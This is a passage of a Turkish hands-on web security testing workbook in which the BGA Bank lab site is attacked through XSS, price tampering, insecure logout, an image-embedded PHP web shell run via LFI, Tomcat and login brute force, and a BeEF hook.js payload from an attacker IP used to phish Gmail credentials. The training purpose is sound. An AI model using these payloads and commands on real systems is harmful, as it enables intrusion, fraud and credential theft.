Page 112: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

112   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

41. Haberdar Ol Sayfası Reflected XSS Zafiyeti ve İstismarı İletişim   menüsü   altında   bulunan   Haberdar   Ol   sayfasında   bulunun   formda   XSS   zafiyeti  mevcuttur.  (Şekil  124)  

 Şekil  124.  Haberdar  Ol  XSS  Zafiyeti  

İstismar  için  aşağıdaki  adımlar  uygulanır.  

 

 

 

 

 

 

 

 

 

 

Page 113: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   113    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

1)  Burp  Suite  ile  araya  girilerek  istek  yakalanır.  (Şekil  125)  

 Şekil  125.  Haberdar  Ol  Sayfası  Burp  Suite  

2)  XSS  payload  girilir  ve  ilk  girildiği  için  payload  hata  vermeden  veritabanına  kaydedilir.  (Şekil  126,127)  

 Şekil  126.  XSS  Payload  

 

Page 114: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

114   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

 Şekil  127.  Veri  Tabanı  Mail  Listesi  

3)   Aynı   payload   tekrar   gönderilir,   payload   veritabanında   daha   önce   olduğundan   payload  sayfada  çalışacaktır.  (Şekil  128)  

 

Şekil  128.  XSS  İstismarı      

Page 115: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   115    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

42. Döviz Alma İşleminde Araya Girilerek Döviz Fiyatı Değiştirme Döviz  al  sayfasında,  döviz  alınırken  araya  girilip  fiyat  değişikliği  yapılabiliyor.  20  dolar  1  tl  ye  alınabiliyor.  İşlem  adımları  aşağıdaki  gibidir.  İşlem  öncesi  hesapta  10.000  TL  olduğu  şekil  129  da  görülmektedir.  

   Şekil  129.  Döviz  Al  Formu  

 

 

 

 

 

 

 

 

 

 

 

Page 116: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

116   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

1)  Burp  Suite  ile  araya  girilerek  istek  yakalanır.  (Şekil  130)  

 Şekil  130.  İstek  

 

2)  k3  parametre  değeri  1  tl  olarak  değiştirilir  ve  istek  gönderilir.  (Şekil  131)  

 Şekil  131.  Manipülasyon  

 

İşlem  başarılı  bir  şekilde  gerçekleştirilir.  (Şekil  132)  

 Şekil  132.  Dönen  Cevap  

 

Page 117: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   117    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Hesaptan  sadece  1  tl  kesilmiştir.  (Şekil  133)  

 Şekil  133.  Sonuç  

   

Page 118: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

118   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

43. Tomcat 6 Sistem İfşası Nmap   ile  http://isube.bgabank.com  adresi   tarandığında,  açık  portlar  arasında  8080  olduğu  görülür.  (Şekil  134)  8080  portunda  gelende  Tomcat  kurulu  olur.    

 Şekil  134.  Nmap  Tomcat  

8080  portuna  bağlanıldığında  şekil  135.  de  görüldiği  gibi  tomcat  arayüzü  gelmektedir.    

Şekil  135.    Tomcat  Web  Arayüzü  

   

Page 119: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   119    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

44. Güvensiz Çıkış Zafiyeti Sisteme   normal   şekilde   giriş   yapıldıktan   sonra   Çıkış   seçeneğine   tıklandığında   sadece  menülerin  değiştiği,  cookie  ve  session  bilgilerinin  silinmediği  görülmektedir.  Normalde  çıkış  yaptığını  sanan  bir  müşteri,  aslında  çıkış  yapmamıştır.    

1)  Sisteme  normal  olarak  giriş  yapılır.  (Şekil  136)  

 Şekil  136.  Giriş  ve  Cookie  Bilgileri  

2)  Menüdeki  çıkış  seçeneğine  tıklanır.  Şekil  137.  de  sessionid   ‘nin  silinmediği,  sadece  guest  değerinin  değiştiği  gözlemlenir.  

 Şekil  137.  Çıkış  ve  Cookie  Bilgileri  

Page 120: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

120   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

3)  Çıkış  yapıldığı  halde  /profil.aspx  ‘e  müşteri  bilgileri  görülecektir.  (Şekil  138)  

 Şekil  138.  Profil  Sayfası  

   

Page 121: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   121    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

45. User-Agent Bilgisi Değiştirerek Ücretsiz Havale İşlemi Gerçekleştirme

URL   http://isube.bgabank.com/havale-­‐eft.aspx  Tablo  40.  Şubeler  Sayfası  

Havale  işlemi  yapılırken  normal  şartlarda,  işlem  ücreti  bakiyeden  düşülmektedir.  (Şekil  139)  

 Şekil  139.  Normal  Havale  İşlemi  

                   

Page 122: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

122   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

User-­‐Agent  bilgisi  değiştirildiğinde,  havale  işlemi  ücretsiz  olarak  gerçekleşecektir.  (Şekil  140)  Bu  işlem  yapılırken,  Mozilla  Firefox  User  Agent  Switcher  eklentisi  kullanılmıştır.    

 Şekil  140.  User  Agent  Bilgisi  Değiştirilmiş  İşlem  Sayfası  

 Şekil   139.   da   görülen   uyarı,   şekil   140.   da   görülmemektedir.   User   Agent   bilgisi  değiştirildiğinde,  işlem  ücreti  alınmamaktadır.      

Page 123: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   123    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

46. LFI ve Dosya Yükleme Zafiyetini Kullanarak Sisteme Shell Yükleme Bu   başlıkta   Başlık   6   ve   Başlık   14   ‘de   ki   zafiyetler   kullanılarak,   resim   içine   gömülen   shell  kodlarının   sisteme   nasıl   yüklenebileceği   ve   çalıştırılacağı   gösterilecektir.   Ayrıntılı   adımlar  aşağıda  belirtilmiştir.  

1.  Resim  exif  bilgilerini  değiştirmek  için  gerekli  olan  herhangi  bir  araç  indirilir.  Bu  dokümanda  ExifTool  kullanılmıştır.  İndirme  adresi  tablo  41.  de  verilmiştir.  Kurulum  gerektirmemektedir.    

URL   http://www.sno.phy.queensu.ca/~phil/exiftool/  

Tablo  41.  ExifTool  Adresi  

Şekil  141.  ExifTool  Resim  Exif  Bilgileri  

 

 

 

 

 

 

 

 

Page 124: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

124   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

2.  Shell   kodlarının   gömülmesi   için   gereken,   rahat   yüklenmesi   için   küçük   boyutlu   bir   resim  dosyası   seçilir   ve   tablo   42.   deki   exiftool   komutu   ile   exif   bilgilerine   yüklenir.   (Şekil   142)    

Kod   "exiftool(-­‐k).exe"  -­‐comment="<?php  echo  shell_exec($_POST['load']);?>"  profilyok.jpg  

Tablo  42.  ExifTool  Komutu  

 Şekil  142.  Exif  Bilgi  Değişimi  

 Upload  edilecek  resim  üzerinde  yapılacak  işlemler  tamamladı.                              

Page 125: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   125    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

3.   Başlık   14’te   anlatılan   upload   bölümünü   kullanarak,   yukarıdaki   adımlarda   exif   bilgileri  değiştirilen  resim  sisteme  yüklenir.  (Şekil  143)    

 Şekil  143.  Resim  Sisteme  Yüklenir  

Resmin   yolu   sonraki   adımlarda   gerekli   olacağı   için,   resim   yolu,   resme   sağ   tıklayıp   (Resim  Url’sini  Görüntüle)  görüntülenebilir.  (Şekil  144)    

 Şekil  144.  Resim  URL    

   

Page 126: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

126   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

URL   http://isube.bgabank.com/uploads/11/profilyok.jpg    

Tablo  42.  Resim  Yolu  

4.  Başlık  6  ‘daki  LFI  zafiyeti  kullanılarak,  resim  kaynak  kodları  görüntülenir.  (Şekil  145)    

URL   http://isube.bgabank.com/?sayfa=../../../uploads/11/profilyok.jpg    

Tablo  43.  LFI  URL  

 

Şekil  145.  Resmin  Kaynak  Kodu  

Şekil   145.   deki   hataya   bakılırsa,   resmin   içine   gömülen   php   kodlarının   çalıştırıldığı   görülür.  “load”  parametre  değeri  olarak  Linux  bash  kodları  girilebilir.      5.  POST  metodu  ile  tablo  44.  deki  script  kullanılarak,  sisteme  linux  komutları  gönderilebilir.  (Şekil  146)    

<?php  $ch  =  curl_init();  curl_setopt($ch,  CURLOPT_URL,"http://isube.bgabank.com/?sayfa=../../../uploads/11/deneme.jpg");  curl_setopt($ch,  CURLOPT_POST,  1);  curl_setopt($ch,  CURLOPT_POSTFIELDS,  "load=ls  -­‐la");            curl_setopt($ch,  CURLOPT_RETURNTRANSFER,  true);  $server_output  =  curl_exec  ($ch);  curl_close  ($ch);  echo  $server_output;  ?>  

Tablo  44.  POST  Script  

NOT:  Scriptin  çalışması  için  CURL  açık  olmalıdır.  

Page 127: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   127    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  146.  Çalıştırılan  Linux  Listeleme  Kodu  

   

Page 128: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

128   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

47. Tomcat Metasploit Brute Force Saldırısı Tomcat   sistemin   ifşası   41.   başlıkta   yapıldığına   göre,  metasploit   kullanılarak,   sisteme   brute  force  saldırısı  düzenlenebilir.  Geniş  wordlist’e  sahip  olmak,  saldırıyı  başarılı  sonuca  bir  adım  daha  yaklaştıracaktır.  Saldırı  aşağıda  adım  adım  gösterilmiştir.  

1.  msfconsole  açılır  ve  tablo  45.  deki  komutlar  sırası  ile  girilir.    

Komut  1   use  auxiliary/scanner/http/tomcat_mgr_login  

Komut  2   set  RHOSTS  107.170.157.8  

Komut  3   set  RPORT  8080  

Komut  4   set  STOP_ON_SUCCESS  true  

Komut  6   run  (Şekil  148)  

 Bu  aracın  diğer  özelliklerine  ulaşmak  için,  show  options  komutu  kullanılır.  Öntanımlı  kelime  listesinin  yeri  de,  bu  komutun  çıktısında  yer  almaktadır.  (Şekil  147)    

 Şekil  147.  Show  Options  

   

Page 129: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   129    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  148.  Metasploit  Sonuç  

 

Kullanıcı  Adı   Tomcat  

Şifre   bgabank123  

     

Page 130: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

130   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

48. Müşteri Girişi Form Tabanlı Brute Force Saldırısı Müşteri  giriş  panelinde  3.  başlıkta  anlatılan  mobil  giriş  captcha  atlatma  tekniği  kullanılarak,  form  brute  force  saldırısına  açık  hale  getirilir.  (Şekil  149)  

 Şekil  149.  Müşteri  Giriş  Paneli  

Burp  Suite  ile  istek  yakalanarak,  intruder’e  gönderilir.  (Şekil  150)  

 Şekil  150.    Intruder  

 

 

 

Page 131: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   131    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Pozisyonlar  düzenlenir  ve  ilk  parametreden  sonraki  parametreler  silinir.  (Şekil  151)  

 Şekil  151.  Positions  

Wordlist  yüklemek  için  Payloads  sekmesine  gidilir.  Ardından  Payload  type  kısmından  Custom  Iterator   seçilir.   Payload   Options   bölümünden   her   pozisyon   için   gerekli   kelime   listeleri  yüklenir.  Seperator  for  Position  1  için  silinen  ikinci  parametre  değeri  (&b_password=)  girilir.  (Şekil  152)  

 Şekil  152.  Payloads  

Page 132: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

132   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Saldırı  başlatılı  ve  sonuçlar  gözlemlenir.  Şekil  153.  te  görüldüğü  gibi  23.  istekte,  cevap  olarak  diğerlerinden   farklı   length   ve   status   değerleri   dönmüştür.   Yani   10000142   numaralı  müşterinin  şifresi  hacked  olarak  saptanmıştır.  

 Şekil  153.  Intruder  Attack  

   

Page 133: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   133    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

49. OWASP Xenotix XSS Framework Kullanarak XSS Tespiti

URL   http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=    

İstek   GET  

Parametre   s2  

Payload   Bilinmiyor  (Xenotix  ile  bulunacak)  

Tablo  46.  URL  

BGA   Bank   arama   kısmına   herhangi   bir   kelime   yazılıp   aratıldığında,   oluşan   get   isteği   tablo  46’da  gösterilmiştir.  Arama  bölümündeki  XSS  zafiyeti  ve  istimarı  4.  başlıkta  anlatılmıştır.  XSS  zafiyeti   olduğu   bilindiği   halde,   payload   yazımında   zorluk   yaşanıyorsa,   Xenotix   programı  kullanılabilir.  Tablo  46.  daki  payloadın  Xenotix  kullanarak  tespit  edilmesi  aşağıda  adım  adım  anlatılmıştır.    1.  Xenotix  URL  kısmına  Tablo  46  ‘daki  link  girilir.  (Şekil  154)    

 Şekil  154.  Xenotix  URL  

     

Page 134: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

134   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

2.   Scanner   sekmesinde   bulunan   Get   Request   Auto   Mode   seçeneği   seçilir.   (Şekil   155)  Ardından  şekil  156.  ‘daki  adımlar  izlenir  (program  ilk  çalıştırıldığında  bir  defa  yapılır).      

 Şekil  155.  Scanner  

   Not:  Tek  tek  deneme  yapmak  için  manuan  mode  seçeneği  seçilebilir.    

 Şekil  156.  Server  Configuration  

                         

Page 135: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   135    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

3.  Şekil  157.  de  gösterilen  pencerede  yer  alan  interval  (sec)  alanı,  payload  denenme  süre  aralığını  saniye  olarak  tanımlar.  Yani  kullanıcı  3  değerini  girerse,  3  saniyede  bir  payload  denenir.  Süre  aralığı  girildikten  sonra  Start  butonuna  tıklanır.    

 Şekil  157.  Auto  Mode  Window  

 4.  Payload  şekil  158.  deki  gibidir.  (<marquee/onstart=confirm(1)>)    

 Şekil  158.  Sonuç  

   

Page 136: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

136   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

50. XSS Zafiyeti ile Beef Framework Kullanarak Şifre Çalma Senaryosu  

Saldırgan  IP  adresi   172.18.7.105  

Kullanıcı  IP  adresi   172.18.1.127  

Tablo  47.  IP  Bilgileri  

Ziyaretçi   defterinde   yer   alan   Stored   XSS   zafiyeti   ile   Beef   Framework   kullanılarak,   kullanıcı  tarayıcısı   ele   geçirilecek   ve   sonra   olarak,   gmail   hesap   bilgileri   sosyal   mühendislikle   elde  edilecektir.  Senaryo  aşağıda  adım  adım  anlatılmıştır.    

1.  Saldırgan  Beef  Control  Panel’e  erişim  sağlar  ve  kullanıcıya  göndereceği  linki  hazırlar.    

beef  komutu  ile  beef  framework  servisi  başlatılır.  

 Şekil  159.  Beef  Başlatılır  

Gelen  Beef  FrameWork  Control  panele  kullanıcı  adı  olarak  beef,  şifre  olarak  yine  beef  girilir.  

 Şekil  160.  Beef  Authentication  

Page 137: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   137    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Yukarıdakiler  yapıldığında,  kontrol  paneli  şekil  161.  deki  gibi  görünecektir.  

 Şekil  161.  Beef  Control  Panel  

2.   BGA   Bank   ziyaretçi   defterinde   yer   alan   stored   XSS   zafiyeti,   tablo   48.   deki   payload   ile  istismar  edilir.  (Şekil  162)  

 

Adres   http://isube.bgabank.com/ziyaretcidef.aspx  

Payload   <script  type=text/javascript  src=http://172.18.7.105:3000/hook.js></script>  

Method   POST  Tablo  48.  Zafiyet  Bilgileri  

Tablo  48.  de  payload’da  belirtilen  adres,  saldırganın  adresidir.    

Page 138: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

138   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

 Şekil  162.  Ziyaretçi  Defteri  

3.  Kullanıcıya,  ziyaretçi  defterinin  linki  gönderilir  ve  sosyal  mühendislik  ile  bir  şekilde  tıklanması  sağlanır.  (Şekil  163)  

 Şekil  163.  Link  Gönderilir  

Page 139: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   139    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

4.   Kullanıcı   linke   tıklar   ve   Beef   Control   Panel’de   yer   alan   Online   Browsers   kısmına,  kullanıcının  tarayıcısı  düşer.  (Şekil  164)  Kullanıcı  tarayıcısı  ele  geçirilmiştir.    

   

Şekil  164.  Online  Browsers  

 

 

 

 

 

 

 

 

 

 

 

 

Page 140: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

140   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

5.   Commands   sekmesinde   bulunan   ağaç   yapısında   sırasıyla,   Social   Engineering,   Google  Phishing  seçenekleri  seçilir  ve  sağ  tarafta  yer  alan  Execute  butonuna  tıklanır.  (Şekil  165)  

 Şekil  165.  Command  Executing  

6.   Kullanıcının   tarayıcısı,   gmail   hesabı   açıksa   oturumu   sonlandırır   ve   kullanıcıyı   gmail   giriş  sayfasına  yönlendirir.  Kullanıcı  bilgilerini  girer.  (Şekil  166)  

Şekil  167.  Gmail  Giriş  Sayfası  

Page 141: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   141    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

7.  Gmail  hesabı  ve  şifresini,  saldırgan  beef  control  panel’de  ilgili  komutun  üzerine  tıklayarak,  öğrenebilir.  (Şekil  168)  

Şekil  168.  Beef  Sonuç      

Page 142: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

142   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

51. Nmap Kullanarak PortSpoof Tespiti  

URL   http://ipstest.bgabank.com/    

Komut   nmap  -­‐sV  ipstest.bgabank.com  

Tablo  49.  Nmap  Bilgileri  Portspoof’un   temel   amacı,   çeşitli   teknikler   kullanarak   işletim   sisteminin   güvenliğini  sağlamaktır.   Tüm   portları   açık   olarak   göstermesinin   yanında,   herbir   porta   servis   servis  ataması   da   yapmaktadır.   Böylece   sistemde   port   ve   servis   tarama   yapan   saldırgan,   hem  yavaşlatılacak  hem  de  gerçekten  açık  olan  portları  görebilmesi  engellenecektir.  

Tablo  49.  daki  işletim  sistemine,  portspoof  kurulmuştur.  Bu  adrese  tabloda  bellirtilen  nmap  komutu   ile   tarama   yapıldığında,   tüm   portların   açık   ve   bir   servise   ait   olduğu   görülecektir.  (Şekil  169)  

Page 143: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   143    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  169.  Nmap  Tarama